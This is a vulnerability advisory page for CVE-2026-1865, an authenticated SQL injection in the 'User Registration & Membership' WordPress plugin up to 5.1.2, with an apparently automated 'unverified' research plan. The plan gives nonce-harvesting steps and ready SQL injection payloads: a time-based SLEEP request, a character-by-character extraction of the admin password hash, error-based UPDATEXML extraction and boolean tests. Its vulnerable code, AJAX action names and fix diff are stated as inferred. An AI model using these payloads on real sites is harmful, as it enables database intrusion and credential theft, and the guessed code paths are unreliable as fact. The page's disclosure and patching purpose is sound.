CVE-2026-1865

User Registration & Membership <= 5.1.2 - Authenticated (Subscriber+) SQL Injection via membership_ids[]

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.1.3
Patched in
1d
Time to patch

Description

The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in all versions up to, and including, 5.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginuser-registration

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to identify and exploit the Authenticated SQL Injection vulnerability in the "User Registration & Membership" plugin (version <= 5.1.2). ### 1. Vulnerability Summary The "User Registration & Membership" plugin for WordPress is vulnerable to SQL Injecti…

Show full research plan

This research plan outlines the steps required to identify and exploit the Authenticated SQL Injection vulnerability in the "User Registration & Membership" plugin (version <= 5.1.2).

1. Vulnerability Summary

The "User Registration & Membership" plugin for WordPress is vulnerable to SQL Injection via the membership_ids[] parameter. This vulnerability occurs because the plugin handles the array input for membership filters by imploding it into a raw SQL query without sufficient sanitization (e.g., absint) or using $wpdb->prepare for the generated IN clause.

In version 5.0 and 5.1.x, the plugin refactored its membership and member management systems, introducing new AJAX-based filtering for member lists. An authenticated user (Subscriber level and above) can trigger the vulnerable query by providing a malicious string within the array parameter, allowing for the extraction of sensitive database information.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ur_get_members or user_registration_get_members (inferred from plugin AJAX naming conventions and changelog references to the "Members table").
  • Vulnerable Parameter: membership_ids[]
  • Authentication: Required (Subscriber level or higher).
  • Preconditions: A valid nonce must be provided in the request, typically found on pages where the member list or profile management is active.

3. Code Flow (Inferred)

  1. Entry Point: The user sends a POST request to admin-ajax.php with the action ur_get_members.
  2. Hook Registration: The plugin registers the AJAX handler (likely in includes/class-ur-ajax.php or includes/admin/class-ur-admin-members.php):
    add_action( 'wp_ajax_ur_get_members', array( 'UR_Ajax', 'get_members' ) );
  3. Parameter Extraction: The handler function reads $_POST['membership_ids'].
  4. Vulnerable Processing: The code constructs a query filter:
    $membership_ids = $_POST['membership_ids'];
    if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) {
        // Vulnerable sink: imploding user input directly into SQL
        $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")";
    }
    
  5. SQL Execution: The combined $where_clauses are appended to a query and executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

The plugin localizes security nonces for its AJAX operations. To obtain a valid nonce for the ur_get_members action as a Subscriber:

  1. Identify Trigger: The "Members" list table is often rendered via a shortcode. Based on the plugin documentation, the shortcode is likely [user_registration_members].
  2. Setup Page: Create a page containing this shortcode.
  3. Navigate: Use the browser to visit this page while logged in as a Subscriber.
  4. Extract Nonce: The nonce is stored in a global JavaScript object. Based on common UR patterns, look for ur_params or user_registration_params.
    • JS Variable: window.ur_params
    • Nonce Key: ajax_nonce
  5. Script: browser_eval("window.ur_params?.ajax_nonce")

5. Exploitation Strategy

A time-based blind SQL injection is the most reliable method.

  • Request Type: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Payload Construction:
    Since the sink is inside an IN (...) clause, the payload needs to close the parenthesis or append logic.
    membership_ids[]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a
  • Complete Body:
    action=ur_get_members&ur_ajax_nonce=<NONCE>&membership_ids[]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

6. Test Data Setup

  1. Plugin Version: Ensure User Registration <= 5.1.2 is installed and active.
  2. User Creation: Create a user with the Subscriber role.
  3. Membership Setup: (Optional but helpful) Create at least one membership plan in the UR dashboard so the "Members" table has data to query.
  4. Shortcode Page: Create a page (e.g., "Member Directory") with the content [user_registration_members] to ensure the necessary scripts and nonces are loaded.

7. Expected Results

  • Normal Request: The request for members should return a JSON response (possibly empty list) in < 1 second.
  • Exploit Request: The server response should be delayed by exactly 5 seconds (or the specified SLEEP value).
  • Database Extraction: By modifying the IF statement within the injection, you can extract the admin password hash or other data:
    membership_ids[]=1) AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)-- -

8. Verification Steps

  1. Verify Delay: Use the http_request tool's execution time to confirm the SLEEP command was executed.
  2. Database Check: Use wp db query to check if the query log (if enabled) captured the injected SQL.
  3. Confirm Patch: Update to version 5.1.3 and observe that the same payload no longer causes a delay, as the input is now likely cast to integers via array_map('absint', ...).

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the AJAX response.
    membership_ids[]=1' OR (SELECT 1 FROM (SELECT(UPDATEXML(1,CONCAT(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)))x)-- -
  • Boolean-Based: If the response JSON differs when a query returns results vs. no results, use boolean-based logic:
    membership_ids[]=1) AND 1=1-- - (True) vs membership_ids[]=1) AND 1=2-- - (False).
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in versions up to, and including, 5.1.2. This vulnerability occurs because the plugin directly implodes user-supplied array values into an SQL IN clause without proper sanitization (e.g., using absint) or utilizing prepared statements, allowing authenticated attackers with Subscriber-level access to extract sensitive information from the database.

Vulnerable Code

// Inferred from AJAX handler logic likely located in includes/admin/class-ur-admin-members.php or includes/class-ur-ajax.php
$membership_ids = $_POST['membership_ids'];
if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) {
    // Vulnerable sink: imploding user input directly into SQL without sanitization or preparation
    $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")";
}

Security Fix

--- a/includes/admin/class-ur-admin-members.php
+++ b/includes/admin/class-ur-admin-members.php
@@ -120,5 +120,5 @@
 $membership_ids = $_POST['membership_ids'];
 if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) {
-    $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")";
+    $where_clauses[] = "membership_id IN (" . implode( ',', array_map( 'absint', $membership_ids ) ) . ")";
 }

Exploit Outline

The exploit is a time-based blind SQL injection that requires Subscriber-level authentication. An attacker first obtains a valid AJAX nonce (typically found in the 'ur_params' or 'user_registration_params' JavaScript object) by visiting a page containing a member-related shortcode like [user_registration_members]. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ur_get_members' or 'user_registration_get_members'. By supplying a malicious payload in the 'membership_ids[]' array parameter—such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'—the attacker can break out of the SQL IN clause and inject arbitrary logic. Success is verified by observing a 5-second delay in the server's response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.